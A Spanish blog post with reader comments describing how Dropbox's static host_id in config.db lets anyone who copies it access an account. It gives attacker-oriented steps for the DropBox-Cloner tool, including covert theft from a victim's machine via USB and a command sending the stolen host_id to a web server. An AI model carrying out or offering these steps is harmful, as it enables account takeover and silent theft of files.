Evasión de la autenticación de Dropbox

Bajo Windows, Dropbox almacena los datos de configuración (listado de directorios, hashes, etc.) en una pequeña base de datos SQLite situada en %APPDATA%\Dropbox\config.db y esta sólo tiene una tabla entre las que destacan los siguientes registros:

- email: la dirección de correo electrónico es usada como nombre de cuenta y, sorprendentemente, no forma parte del proceso de autenticación. Es decir, podríamos cambiar su valor sin notar ningún cambio.

- ruta de Dropbox: define dónde está la carpeta raíz de sincronización en el equipo cliente.
- host_id: es un identificador que se asigna al sistema después de la primera autenticación. Después, este identificador no cambia y ¡¡encima es el único valor que se utiliza para la autenticación!!.

Esto significa que config.db es totalmente portable y que si alguien es capaz de conseguir el fichero de base de datos o el identificador host_id podrá conseguir el acceso a la cuenta de Dropbox indefinidamente, o al menos hasta que se elimine el host de la lista de equipo "linkados".

Es decir, si copiamos el fichero config.db en otro sistema, tenemos una ruta válida para la ruta de sincronización y arrancamos el cliente, accederemos a todos los ficheros de la cuenta Dropbox sin que el usuario legítimo sea notificado y sin pedirnos sus credenciales. Así de simple.


Pero aún hay más. Existe una herramienta escrita en Python por Moloch llamada DropBox-Cloner que simplifica aún más el proceso. Sólo sigue las siguientes instrucciones:


1. Encuentra una máquina ejecutando Dropbox e inserta tu pendrive USB

2. Ejecuta dbClone.exe, los datos serán guardados en un fichero .txt
3. En tu equipo, instala el cliente Dropbox y ejecuta "dbClone.exe -i"

4. Pega el valor del 'hostid' del fichero de texto e introduce cualquier email

5. Inicia el cliente de Dropbox, y sincroniza todos los ficheros!!!


Y por último, con la opción -m puedes incluso subir el email y el hostid a tu servidor web (vía GET). Por ejemplo, "dbClone.exe -m http://somesite.com"


Fuentes:
http://dereknewton.com/2011/04/dropbox-authentication-static-host-ids/
http://marcoramilli.blogspot.com/2011/04/dropbox-cloner.html

3 comentarios :

  1. La nube está que arde en los foros rusos. xD

    ResponderEliminar
  2. En linux la ruta es ~/.dropbox/config.db y contiene la misma info.

    ResponderEliminar
  3. y alguien sabe donde está config.db en Android?

    He encontrado
    /data/data/com.dropbox.android/databases/db.db pero no contiene el host_id

    ResponderEliminar